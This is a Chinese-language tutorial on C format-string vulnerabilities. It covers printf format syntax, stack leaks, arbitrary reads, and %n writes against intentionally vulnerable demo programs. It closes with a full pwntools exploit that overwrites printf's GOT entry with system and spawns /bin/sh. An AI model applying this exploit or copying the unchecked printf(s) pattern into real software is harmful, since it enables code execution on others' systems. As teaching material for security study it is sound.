格式化输出函数
C语言标准中定义了下面的格式化输出函数
#include <stdio.h>
int printf(const char *restrict format, ...);
int fprintf(FILE *restrict stream, const char *restrict format, ...);
int dprintf(int fd, const char *restrict format, ...);
int sprintf(char *restrict str, const char *restrict format, ...);
int snprintf(char *restrict str, size_t size, const char *restrict format, ...);
#include <stdarg.h>
int vprintf(const char *restrict format, va_list ap);
int vfprintf(FILE *restrict stream, const char *restrict format, va_list ap);
int vdprintf(int fd, const char *restrict format, va_list ap);
int vsprintf(char *restrict str, const char *restrict format, va_list ap);
int vsnprintf(char *restrict str, size_t size, const char *restrict format, va_list ap);
- 格式化字符串是由普通字符(包含"%")和转换规则构成的字符序列
- 一个转换规则由必选部分和可选部分组成;其中,其中只有转换指示符(type)是必选部分,用来表示转换类型
- 可选部分(parameter)是一个POSIX扩展,不属于C99,用于指定某个参数,例如%2$d用于输出后面的第二个参数
- 标志(flags)用来跳这个输出和打印的符号、空格、小数点等
- 宽度(width)用来指定输出字符的最小个数
- 精度(.precision)用来指示打印符号个数、小数位数或有效数字个数
- 长度(length)用来指定参数大小
%[parameter][flags][width][.precision][length]type
一些常见的转换指示符如下
指示符 类型 输出
%d 4-byte Interger
%u 4-byte Unsigned Integer
%x 4-byte Hex
%s 4-byte ptr String
%c 1-byte Character
长度 类型 输出
hh 1-byte char
h 2-byte short int
l 4-byte long int
ll 8-byte long long int
例子
printf("Hello %%"); // "Hello %"
printf("Name: %s Age: %d", "WT", 18); // "Name: WT Age: 18"
printf("%4s", "Hello World"); // "Hello World"
printf("%16s", "Hello World"); // " Hello World"
printf("%2$c %1$c", 'A', 'B'); // "B A"
printf("%16s%n","XXX", &n); // n = 16
格式化字符串漏洞
基本原理
在X86结构下,格式化字符串的参数通过栈传递,根据cdecl的调用约定,在进入printf函数前,程序将参数从右往左依次压栈;进入printf函数之后,函数会解析第一个参数(格式化字符串),一次读取一个字符,如果字符不是"%",那么字符会被直接复制到输出。否则会读取下一个非空字符,获取相应的参数并解析输出
正常调用printf函数
当格式字符串要求的参数大于实际提供的参数 => 泄露栈数据
漏洞利用
格式化字符串漏洞的利用主要有:
- 使程序崩溃
- 栈数据泄露
- 任意地址内存泄露
- 任意地址内存覆盖
使程序崩溃
使用多个%s当作printf的格式化字符串参数即可让程序触发崩溃,原因是%s会让printf从栈中获取一个数字并将其当作一个地址,当该数字不是一个地址时,或该地址受到保护,都会使程序触发崩溃
栈数据泄露
在上面已经演示了按照顺序泄露栈数据,如果想只泄露指定的某个数据,可以通过%x$p的形式,例如下面泄露Canary值
任意地址内存泄露
攻击者使用类似"%s"的格式规范就可以泄露出参数(指针)所指向内存的数据,如果攻击者可以操纵这个参数的值,那么就可以泄露任意地址的内容
我们可以通过%7$p来打印我们输入的一个双字的内容
同样,当我们将p换成s,就能打印出我们输入的一个双字所指向内存的内容了
打印0x0804c018地址对应的内容(Hello)
任意地址内存覆盖
"%n"转换指示符将当前已经成功写入流或者缓冲区的字符个数存储到由参数指定的整数中演示代码如下
int id = 501;
void vuln()
{
char s[64];
scanf("%s", s);
printf(s);
printf("\nID => %d\n", id);
}
- 变量id的内存地址 => 0x804c018
- 修改id的值为大于4的数
- 修改id的值为一个小于4的数
- 修改id的值为一个地址0x8049186(134517126)
pwntools fmtstr
演示代码
void vuln()
{
char s[1024];
while(1)
{
memset(s, 0, 1024);
read(0, s, 1024);
printf(s);
fflush(stdout);
}
}
Exploit
from pwn import *
io = process('./fmt')
elf = ELF('./fmt')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
printf_got = elf.got['printf']
def fmt_exec(payload):
io.sendline(payload)
return io.readline()
offset = FmtStr(fmt_exec).offset
#获取printf真实地址
payload_1 = p32(printf_got) + '%{}$s'.format(offset).encode()
printf_addr = u32(fmt_exec(payload_1)[4:8])
#获取system真实地址
system_addr = printf_addr - libc.sym['printf'] + libc.sym['system']
#将printf下got表指向的地址改成system的函数地址
payload_2 = fmtstr_payload(offset, {elf.got['printf'] : system_addr})
io.sendline(payload_2)
io.sendline(b'/bin/sh')
io.interactive()